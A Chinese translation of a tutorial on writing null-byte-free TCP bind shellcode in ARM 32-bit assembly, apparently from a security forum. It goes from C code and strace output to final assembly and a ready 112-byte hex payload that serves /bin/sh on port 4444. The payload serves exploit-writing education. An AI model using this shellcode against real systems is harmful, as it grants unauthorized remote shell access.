本文是《TCP Bind Shell in Assembly (ARM 32-bit)》的翻译文章。

在本教程中,你将学习如何编写没有空字节的TCP绑定(bind) shellcode,并且可以使用其进行利用。当我们讨论漏洞利用时,指的是经过批准并且合法的漏洞研究。 至于软件漏洞研究新人,我可以告诉你,这些知识实际上可以用得很好。如果我发现了一个像堆栈溢出这样的漏洞并想测试其可利用性,那我就需要运行shellcode。 不仅如此,我还需要能成功利用该shellcode的技术,即使采取了安全措施,也可以执行shellcode。只有这样才能展示此漏洞的可利用性以及恶意攻击者可能利用的技术来利用安全漏洞。

完成本教程后,你不仅会知道如何编写能将shell绑定到本地端口的shellcode,还能知道如何编写任何针对这个问题的shellcode。从绑定shellcode到反向shellcode只是改变1-2个函数,一些参数,大多都是相同的。 编写绑定或反向shell比创建一个简单的execve() shell更困难。如果你想从更基础的开始,你可以学习如何在汇编中编写一个简单的execve() shell,然后再深入研究这个稍微更难的教程。 如果你需要复习Arm程序集的知识,请查看我的ARM Assembly Basics教程系列,或使用此备忘单:

在开始之前,我想提醒你,我们正在写ARM shellcode,因此,如果还没有ARM的实验环境。 你可以自己设置(使用QEMU模拟Raspberry Pi)或节约时间来下载我创建的现成的Lab VM(ARM Lab VM)。 准备好了吗?

理解细节

首先,什么是绑定shell,它是如何工作的? 使用绑定shell,可以在目标计算机上打开通信端口或侦听器。然后,侦听器进入等待传入连接的状态,连接到它后,侦听器接受连接并将会为你提供对目标系统的shell访问。

这与反向shell的工作方式不同。 使用反向shell,可以使目标计算机与你的计算机进行通信。 在这种情况下,你的计算机有一个侦听器端口,它能接收从目标系统返回的连接。

根据目标环境,两种类型的shell都有其优点和缺点。 例如,更常见的情况是,目标网络的防火墙无法阻止传出的连接,而不是传入的连接。 这意味着你的绑定shell将绑定到目标系统上的端口,但由于传入的连接被阻止,你将无法连接到它。因此,在某些情况下,最好有一个可以利用允许传出连接的防火墙错误配置的反向shell。 如果你知道如何编写绑定shell,那么就会编写反向shell。 一旦你了解了汇编代码是如何完成的,只需要进行一些更改即可将汇编代码转换为反向shell。

要将绑定shell的函数转换为arm汇编,首先需要熟悉绑定shell的过程:

  1. 创建一个新的TCP套接字
  2. 将套接字绑定到本地端口
  3. 监听传入的连接
  4. 接收传入的连接
  5. 将STDIN,STDOUT和STDERR重定向到客户端新创建的套接字
  6. 生成shell

这是我们将用于翻译的C代码。

#include <stdio.h> 
#include <sys/types.h>  
#include <sys/socket.h> 
#include <netinet/in.h> 

int host_sockid;    // socket file descriptor 
int client_sockid;  // client file descriptor 

struct sockaddr_in hostaddr;            // server aka listen address

int main() 
{ 
    // Create new TCP socket 
    host_sockid = socket(PF_INET, SOCK_STREAM, 0); 

    // Initialize sockaddr struct to bind socket using it 
    hostaddr.sin_family = AF_INET;                  // server socket type address family = internet protocol address
    hostaddr.sin_port = htons(4444);                // server port, converted to network byte order
    hostaddr.sin_addr.s_addr = htonl(INADDR_ANY);   // listen to any address, converted to network byte order

    // Bind socket to IP/Port in sockaddr struct 
    bind(host_sockid, (struct sockaddr*) &hostaddr, sizeof(hostaddr)); 

    // Listen for incoming connections 
    listen(host_sockid, 2); 

    // Accept incoming connection 
    client_sockid = accept(host_sockid, NULL, NULL); 

    // Duplicate file descriptors for STDIN, STDOUT and STDERR 
    dup2(client_sockid, 0); 
    dup2(client_sockid, 1); 
    dup2(client_sockid, 2); 

    // Execute /bin/sh 
    execve("/bin/sh", NULL, NULL); 
    close(host_sockid); 

    return 0; 
}

第一阶段:系统调用及其参数

第一步是确定必要的系统调用,其参数和系统调用号。 看看上面的C代码,可以看到我们需要以下函数:socket,bind,listen,accept,dup2,execve。 可以使用以下命令计算出这些函数的系统调用号:

pi@raspberrypi:~/bindshell $ cat /usr/include/arm-linux-gnueabihf/asm/unistd.h | grep socket
#define __NR_socketcall             (__NR_SYSCALL_BASE+102)
#define __NR_socket                 (__NR_SYSCALL_BASE+281)
#define __NR_socketpair             (__NR_SYSCALL_BASE+288)
#undef __NR_socketcall

_NR_SYSCALL_BASE的值为0:

root@raspberrypi:/home/pi# grep -R "__NR_SYSCALL_BASE" /usr/include/arm-linux-gnueabihf/asm/
/usr/include/arm-linux-gnueabihf/asm/unistd.h:#define __NR_SYSCALL_BASE 0

这些是我们需要的所有系统调用号:

#define __NR_socket    (__NR_SYSCALL_BASE+281)
#define __NR_bind      (__NR_SYSCALL_BASE+282)
#define __NR_listen    (__NR_SYSCALL_BASE+284)
#define __NR_accept    (__NR_SYSCALL_BASE+285)
#define __NR_dup2      (__NR_SYSCALL_BASE+ 63)
#define __NR_execve    (__NR_SYSCALL_BASE+ 11)

每个函数所需的参数都可以在linux手册页w3challs.com上找到。

下一步是弄清楚这些参数的具体值。一种方法是使用strace查看成功的绑定shell连接。 Strace是一种可用于跟踪系统调用并监视进程与Linux内核之间交互的工具。 让我们使用strace来测试绑定shell的C版本。 为了减少干扰,我们将输出限制为需要的函数。

Terminal 1:
pi@raspberrypi:~/bindshell $ gcc bind_test.c -o bind_test
pi@raspberrypi:~/bindshell $ strace -e execve,socket,bind,listen,accept,dup2 ./bind_test
Terminal 2:
pi@raspberrypi:~ $ netstat -tlpn
Proto Recv-Q  Send-Q  Local Address  Foreign Address  State     PID/Program name
tcp    0      0       0.0.0.0:22     0.0.0.0:*        LISTEN    - 
tcp    0      0       0.0.0.0:4444   0.0.0.0:*        LISTEN    1058/bind_test 
pi@raspberrypi:~ $ netcat -nv 0.0.0.0 4444
Connection to 0.0.0.0 4444 port [tcp/*] succeeded!

这是我们的strace输出:

pi@raspberrypi:~/bindshell $ strace -e execve,socket,bind,listen,accept,dup2 ./bind_test
execve("./bind_test", ["./bind_test"], [/* 49 vars */]) = 0
socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
bind(3, {sa_family=AF_INET, sin_port=htons(4444), sin_addr=inet_addr("0.0.0.0")}, 16) = 0
listen(3, 2) = 0
accept(3, 0, NULL) = 4
dup2(4, 0) = 0
dup2(4, 1) = 1
dup2(4, 2) = 2
execve("/bin/sh", [0], [/* 0 vars */]) = 0

现在我们可以记下需要传递给arm汇编绑定shell函数的值。

第二阶段:逐步解释

在第一阶段,我们回答了以下问题,以获得我们的汇编程序所需的一切:

  1. 我需要哪些函数?
  2. 这些函数的系统调用号是什么?
  3. 这些函数的参数是什么?
  4. 这些参数的值是什么?

这一步是关于应用这些知识并将其转化为汇编。 将每个函数拆分为单独的块并重复以下过程:

  1. 找出要用于哪个参数的寄存器
  2. 弄清楚如何将所需的值传递给这些寄存器
    1. 如何将立即值传递给寄存器
    2. 如何在不直接将#0移入其中的情况下使寄存器无效(我们需要在代码中避免使用空字节,因此必须找到其他方法来使寄存器或内存中的值为空)
    3. 如何使寄存器指向内存中存储常量和字符串的区域
  3. 使用正确的系统调用号来调用该函数并跟踪寄存器值的变化
    1. 请记住,系统调用的结果将落在r0中,这意味着如果需要在另一个函数中重用该函数的结果,则需要在调用函数之前将其保存到另一个寄存器中。
    2. 示例:host_sockid = socket(2,1,0) - 套接字调用的结果(host_sockid)将落在r0中。 此结果在listen(host_sockid,2)等其他函数中重用,因此应保留在另一个寄存器中。

0 - 切换到Thumb模式

要减少遇到空字节的可能性,首先应该使用Thumb模式。 在Arm模式下,指令为32位,在Thumb模式下为16位。 这意味着我们可以通过简单地减小指令的大小来减少使用空字节的机会。 概述如何切换到Thumb模式,即ARM指令必须是4字节对齐的。要将模式从ARM更改为Thumb,请将下一条指令地址(在PC中找到)的LSB(最低有效位)设置为1,方法是将PC寄存器的值加1并将其保存到另一个寄存器。然后使用BX(分支和交换)指令分支到另一个寄存器,该寄存器包含LSB设置为1的下一条指令的地址,这使得处理器切换到Thumb模式。 这一切都可以归结为以下两条说明。

.section .text
.global _start
_start:
    .ARM
    add     r3, pc, #1            
    bx      r3

从这里开始,你将编写Thumb代码,因此需要在代码中使用.THUMB指令会指明这一点。

1 - 创建新的套接字

这些是socket调用参数所需的值:

root@raspberrypi:/home/pi# grep -R "AF_INET\|PF_INET \|SOCK_STREAM =\|IPPROTO_IP =" /usr/include/
/usr/include/linux/in.h: IPPROTO_IP = 0,                               // Dummy protocol for TCP 
/usr/include/arm-linux-gnueabihf/bits/socket_type.h: SOCK_STREAM = 1,  // Sequenced, reliable, connection-based
/usr/include/arm-linux-gnueabihf/bits/socket.h:#define PF_INET 2       // IP protocol family. 
/usr/include/arm-linux-gnueabihf/bits/socket.h:#define AF_INET PF_INET

设置参数后,使用svc指令调用套接字系统调用。 这个调用的结果将是我们的host_sockid,并且最终将以r0结尾。 由于稍后需要host_sockid,让我们将它保存到r4。
在ARM中,你不能简单地将任何立即值移动到寄存器中。 如果你对这个细微差别的更多细节感兴趣,可以在Memory Instructions章节(后半段)中找到这一节。
为了检查是否可以使用某个立即值,我写了一个名为rotator.py的小脚本(一个简单的代码,献丑了)。

pi@raspberrypi:~/bindshell $ python rotator.py
Enter the value you want to check: 281
Sorry, 281 cannot be used as an immediate number and has to be split.

pi@raspberrypi:~/bindshell $ python rotator.py
Enter the value you want to check: 200
The number 200 can be used as a valid immediate number.
50 ror 30 --> 200

pi@raspberrypi:~/bindshell $ python rotator.py
Enter the value you want to check: 81
The number 81 can be used as a valid immediate number.
81 ror 0 --> 81

最终代码段:

.THUMB
    mov r0, #2
    mov r1, #1
    sub r2, r2, r2
    mov r7, #200
    add r7, #81 // r7 = 281 (socket syscall number) 
    svc #1 // r0 = host_sockid value 
    mov r4, r0 // save host_sockid in r4

2 - 将套接字绑定到本地端口

使用第一条指令,我们将一个包含地址族、主机端口和主机地址的结构对象存储在文本池中,并使用pc相关寻址引用该对象。 文字池是存储常量,字符串或偏移量的同一部分中的内存区域(因为文字池是代码的一部分)。 你可以使用带标签的ADR指令,而不是手动计算pc相对偏移量。 ADR接受PC相对表达式,即带有可选偏移量的标签,其中标签的地址相对于PC标签。 像这样:

// bind(r0, &sockaddr, 16)
 adr r1, struct_addr // pointer to address, port
 [...]
struct_addr:
.ascii "\x02\xff" // AF_INET 0xff will be NULLed 
.ascii "\x11\x5c" // port number 4444 
.byte 1,1,1,1 // IP Address

接下来的5条指令是STRB(存储字节)指令。 STRB指令将一个字节从寄存器存储到计算的存储区域。 语法[r1,#1]表示我们将R1作为基址,将立即值(#1)作为偏移量。

在第一条指令中,我们让R1指向存储地址族AF_INET、要使用的本地端口和IP地址值的内存区域。 我们可以使用静态IP地址,也可以指定0.0.0.0以使绑定shell监听目标配置的所有IP,从而使我们的shellcode更具可移植性。 现在,剩下的是大量的空字节。

同样,我们想要摆脱所有空字节的原因是:让我们的shellcode可以利用内存损坏漏洞,而这种内存损坏漏洞是可能对空字节敏感的。'strcpy'等函数的使用不当会引起一些缓冲区的溢出。 strcpy的工作是复制数据,直到收到空字节。 我们使用溢出控制程序流,如果strcpy命中空字节,它将停止复制我们的shellcode,我们的漏洞将不起作用。使用strb指令,我们从寄存器中获取一个空字节,并在执行期间修改我们自己的代码。 这样,我们的shellcode中实际上没有空字节,而是动态地将它放在那里。 这要求代码段是可写的,并且可以通过在链接过程中添加-N标志来实现。

出于这个原因,我们的编码会动态地将空字节放在必要的地方,并且没有空字节。正如你在下一张图片中看到的那样,我们指定的IP地址是1.1.1.1,在执行期间它将被0.0.0.0替换。

第一个STRB指令用x00替换\x02\xff中的占位符xff,将AF_INET设置为\x02\x00。 我们怎么知道它是一个空字节存储? 因为r2仅包含0,而“sub r2,r2,r2”指令清除了寄存器。 接下来的4条指令用0.0.0.0替换1.1.1.1。 在strb r2,[r1,#1]之后,你也可以使用一个单独的str r2 [r1,#4]来完成0.0.0.0的完整写入,而不是四个strb指令。

move指令将sockaddr_in结构长度(AF_INET为2个字节,PORT为2个字节,ipaddress为4个字节,8个字节填充= 16个字节)放入r2。 然后,我们通过简单地给它添加1来将r7设置为282,因为r7已经包含来自最后一个系统调用的281。

// bind(r0, &sockaddr, 16)
    adr r1, struct_addr // pointer to address, port
    strb r2, [r1, #1] // write 0 for AF_INET
    strb r2, [r1, #4] // replace 1 with 0 in x.1.1.1
    strb r2, [r1, #5] // replace 1 with 0 in 0.x.1.1
    strb r2, [r1, #6] // replace 1 with 0 in 0.0.x.1
    strb r2, [r1, #7] // replace 1 with 0 in 0.0.0.x
    mov r2, #16
    add r7, #1 // r7 = 281+1 = 282 (bind syscall number) 
    svc #1
    nop

3 - 监听传入连接

在这里我们将之前保存的host_sockid放入r0。 R1设置为2,r7仅增加2,因为它仍然保存了最后一次系统调用的282。

mov r0, r4 // r0 = saved host_sockid 
mov r1, #2
add r7, #2 // r7 = 284 (listen syscall number)
svc #1

4 - 接收传入连接

在这里,我们再次将保存的host_sockid放入r0。 由于要避免空字节,我们不直接将#0移动到r1和r2中,而是通过将它们相减来设置为0。 R7只增加1。调用的结果将是client_sockid,把它保存在r4中,因为我们不再需要保存在那里的host_sockid(我们将跳过C代码中的close函数调用)。

mov r0, r4 // r0 = saved host_sockid 
    sub r1, r1, r1 // clear r1, r1 = 0
    sub r2, r2, r2 // clear r2, r2 = 0
    add r7, #1 // r7 = 285 (accept syscall number)
    svc #1
    mov r4, r0 // save result (client_sockid) in r4

5 – STDIN, STDOUT, STDERR

对于dup2函数,我们需要系统调用号63。将保存的client_sockid再次移入r0,sub指令将r1设置为0。至于剩余的两个dup2调用,只需要更改r1并将r0重置为每次系统调用后的client_sockid。

/* dup2(client_sockid, 0) */
    mov r7, #63 // r7 = 63 (dup2 syscall number) 
    mov r0, r4 // r4 is the saved client_sockid 
    sub r1, r1, r1 // r1 = 0 (stdin) 
    svc #1
/* dup2(client_sockid, 1) */
    mov r0, r4 // r4 is the saved client_sockid 
    add r1, #1 // r1 = 1 (stdout) 
    svc #1
/* dup2(client_sockid, 2) */
    mov r0, r4 // r4 is the saved client_sockid
    add r1, #1 // r1 = 1+1 (stderr) 
    svc #1

6 - 生成Shell

// execve("/bin/sh", 0, 0) 
 adr r0, shellcode // r0 = location of "/bin/shX"
 eor r1, r1, r1 // clear register r1. R1 = 0
 eor r2, r2, r2 // clear register r2. r2 = 0
 strb r2, [r0, #7] // store null-byte for AF_INET
 mov r7, #11 // execve syscall number
 svc #1
 nop

我们在这个例子中使用的execve()函数遵循与编写ARM Shellcode教程相同的过程,其中所有内容都是逐步解释的。
最后,将AF_INET值(带有0xff,将替换为null),端口号,IP地址和“/bin/sh”字符串添加到汇编代码末尾。

struct_addr:
.ascii "\x02\xff" // AF_INET 0xff will be NULLed 
.ascii "\x11\x5c" // port number 4444 
.byte 1,1,1,1 // IP Address 
shellcode:
.ascii "/bin/shX"

最终的汇编代码

这是我们的最终绑定shellcode的样子。

.section .text
.global _start
    _start:
    .ARM
    add r3, pc, #1 // switch to thumb mode 
    bx r3

    .THUMB
// socket(2, 1, 0)
    mov r0, #2
    mov r1, #1
    sub r2, r2, r2 // set r2 to null
    mov r7, #200 // r7 = 281 (socket)
    add r7, #81 // r7 value needs to be split 
    svc #1 // r0 = host_sockid value
    mov r4, r0 // save host_sockid in r4

// bind(r0, &sockaddr, 16)
    adr r1, struct_addr // pointer to address, port
    strb r2, [r1, #1] // write 0 for AF_INET
    strb r2, [r1, #4] // replace 1 with 0 in x.1.1.1
    strb r2, [r1, #5] // replace 1 with 0 in 0.x.1.1
    strb r2, [r1, #6] // replace 1 with 0 in 0.0.x.1
    strb r2, [r1, #7] // replace 1 with 0 in 0.0.0.x
    mov r2, #16 // struct address length
    add r7, #1 // r7 = 282 (bind) 
    svc #1
    nop

// listen(sockfd, 0) 
    mov r0, r4 // set r0 to saved host_sockid
    mov r1, #2        
    add r7, #2 // r7 = 284 (listen syscall number) 
    svc #1        

// accept(sockfd, NULL, NULL); 
    mov r0, r4 // set r0 to saved host_sockid
    sub r1, r1, r1 // set r1 to null
    sub r2, r2, r2 // set r2 to null
    add r7, #1 // r7 = 284+1 = 285 (accept syscall)
    svc #1 // r0 = client_sockid value
    mov r4, r0 // save new client_sockid value to r4  

// dup2(sockfd, 0) 
    mov r7, #63 // r7 = 63 (dup2 syscall number) 
    mov r0, r4 // r4 is the saved client_sockid 
    sub r1, r1, r1 // r1 = 0 (stdin) 
    svc #1

// dup2(sockfd, 1)
    mov r0, r4 // r4 is the saved client_sockid 
    add r1, #1 // r1 = 1 (stdout) 
    svc #1

// dup2(sockfd, 2) 
    mov r0, r4 // r4 is the saved client_sockid
    add r1, #1 // r1 = 2 (stderr) 
    svc #1

// execve("/bin/sh", 0, 0) 
    adr r0, shellcode // r0 = location of "/bin/shX"
    eor r1, r1, r1 // clear register r1. R1 = 0
    eor r2, r2, r2 // clear register r2. r2 = 0
    strb r2, [r0, #7] // store null-byte for AF_INET
    mov r7, #11 // execve syscall number
    svc #1
    nop

struct_addr:
.ascii "\x02\xff" // AF_INET 0xff will be NULLed 
.ascii "\x11\x5c" // port number 4444 
.byte 1,1,1,1 // IP Address 
shellcode:
.ascii "/bin/shX"

测试SHELLCODE

将汇编代码保存到名为bind_shell.s的文件中。 使用ld时不要忘记-N标志。 这样做的原因是我们使用多个strb操作来修改我们的代码段(.text)。 这要求代码段是可写的,并且可以通过在链接过程中添加-N标志来实现。

pi@raspberrypi:~/bindshell $ as bind_shell.s -o bind_shell.o && ld -N bind_shell.o -o bind_shell
pi@raspberrypi:~/bindshell $ ./bind_shell

然后,连接到指定的端口:

pi@raspberrypi:~ $ netcat -vv 0.0.0.0 4444
Connection to 0.0.0.0 4444 port [tcp/*] succeeded!
uname -a
Linux raspberrypi 4.4.34+ #3 Thu Dec 1 14:44:23 IST 2016 armv6l GNU/Linux

成功了! 现在让我们使用以下命令将其转换为十六进制字符串:

pi@raspberrypi:~/bindshell $ objcopy -O binary bind_shell bind_shell.bin
pi@raspberrypi:~/bindshell $ hexdump -v -e '"\\""x" 1/1 "%02x" ""' bind_shell.bin
\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x02\x20\x01\x21\x92\x1a\xc8\x27\x51\x37\x01\xdf\x04\x1c\x12\xa1\x4a\x70\x0a\x71\x4a\x71\x8a\x71\xca\x71\x10\x22\x01\x37\x01\xdf\xc0\x46\x20\x1c\x02\x21\x02\x37\x01\xdf\x20\x1c\x49\x1a\x92\x1a\x01\x37\x01\xdf\x04\x1c\x3f\x27\x20\x1c\x49\x1a\x01\xdf\x20\x1c\x01\x31\x01\xdf\x20\x1c\x01\x31\x01\xdf\x05\xa0\x49\x40\x52\x40\xc2\x71\x0b\x27\x01\xdf\xc0\x46\x02\xff\x11\x5c\x01\x01\x01\x01\x2f\x62\x69\x6e\x2f\x73\x68\x58

瞧,这就是绑定shellcode! 这个shellcode长112个字节。 由于这是一个初学者教程,为了保持简单,shellcode并不是那么简短。 在初步完成shellcode之后,你可以尝试找到减少指令量的方法,从而缩短shellcode。
希望你能学到一些东西,可以运用这些知识来编写你自己的变种shellcode。 请随时与我联系以获得反馈或建议。

点击收藏 | 0 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖